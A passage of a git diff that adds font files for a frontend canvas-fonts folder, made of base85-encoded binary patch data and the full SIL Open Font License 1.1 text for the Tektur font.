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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Tektur-OFL.txt b/skills/frontend-dev/canvas-fonts/Tektur-OFL.txt new file mode 100644 index 0000000..2cad55f --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Tektur-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Tektur-Regular.ttf b/skills/frontend-dev/canvas-fonts/Tektur-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f280fba407441453779b16f7021a286219421486 GIT binary patch literal 75604 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 